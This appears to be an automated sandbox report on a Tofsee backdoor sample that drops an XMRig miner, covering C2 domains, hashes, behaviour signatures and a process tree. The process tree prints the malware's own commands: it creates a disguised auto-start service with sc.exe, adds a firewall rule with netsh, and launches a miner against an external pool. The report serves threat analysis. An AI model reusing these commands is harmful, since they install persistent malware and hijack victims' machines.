Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    01/12/2022, 01:09

General

  • Target
    file.exe
  • Size 185KB
  • Sample221201-bht54abb85
  • SHA256 705f58a1c66c10b4dcb344f7a8ecdc943b687ea1c95e46142bdfd7d28a7de466
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:620
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bhydhqpu\
      2⤵
        PID:1688
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe" C:\Windows\SysWOW64\bhydhqpu\
        2⤵
          PID:1628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bhydhqpu binPath= "C:\Windows\SysWOW64\bhydhqpu\lwsxohti.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bhydhqpu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bhydhqpu
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:360
      • C:\Windows\SysWOW64\bhydhqpu\lwsxohti.exe
        C:\Windows\SysWOW64\bhydhqpu\lwsxohti.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1140
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1688

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            lwsxohti.exe

            • Path C:\Users\Admin\AppData\Local\Temp\lwsxohti.exe
            • Size 10.6MB
            • SHA256 ede48f5398d235870438a9ea6b63acc979de6df79e34b53978b5a1a53db84c46
            • MD5 SHA1 SHA512 SSDEEP

            lwsxohti.exe

            • Path C:\Windows\SysWOW64\bhydhqpu\lwsxohti.exe
            • Size 10.6MB
            • SHA256 ede48f5398d235870438a9ea6b63acc979de6df79e34b53978b5a1a53db84c46
            • MD5 SHA1 SHA512 SSDEEP

            memory/620-54-0x0000000075711000-0x0000000075713000-memory.dmp

            memory/620-56-0x000000000052D000-0x000000000053E000-memory.dmp

            memory/620-57-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/620-58-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/620-66-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/620-65-0x000000000052D000-0x000000000053E000-memory.dmp

            memory/1140-85-0x0000000000080000-0x0000000000086000-memory.dmp

            memory/1140-81-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1140-100-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1140-97-0x0000000000280000-0x0000000000287000-memory.dmp

            memory/1140-94-0x00000000055C0000-0x00000000059CB000-memory.dmp

            memory/1140-91-0x0000000000270000-0x0000000000275000-memory.dmp

            memory/1140-88-0x0000000000260000-0x0000000000270000-memory.dmp

            memory/1140-72-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1140-74-0x00000000000D0000-0x00000000000E5000-memory.dmp

            memory/1140-82-0x0000000001A70000-0x0000000001C7F000-memory.dmp

            memory/1332-71-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/1332-77-0x00000000008CD000-0x00000000008DE000-memory.dmp

            memory/1332-80-0x0000000000400000-0x0000000000464000-memory.dmp

            memory/1332-70-0x00000000008CD000-0x00000000008DE000-memory.dmp

            memory/1688-101-0x00000000001A0000-0x0000000000291000-memory.dmp

            memory/1688-103-0x00000000001A0000-0x0000000000291000-memory.dmp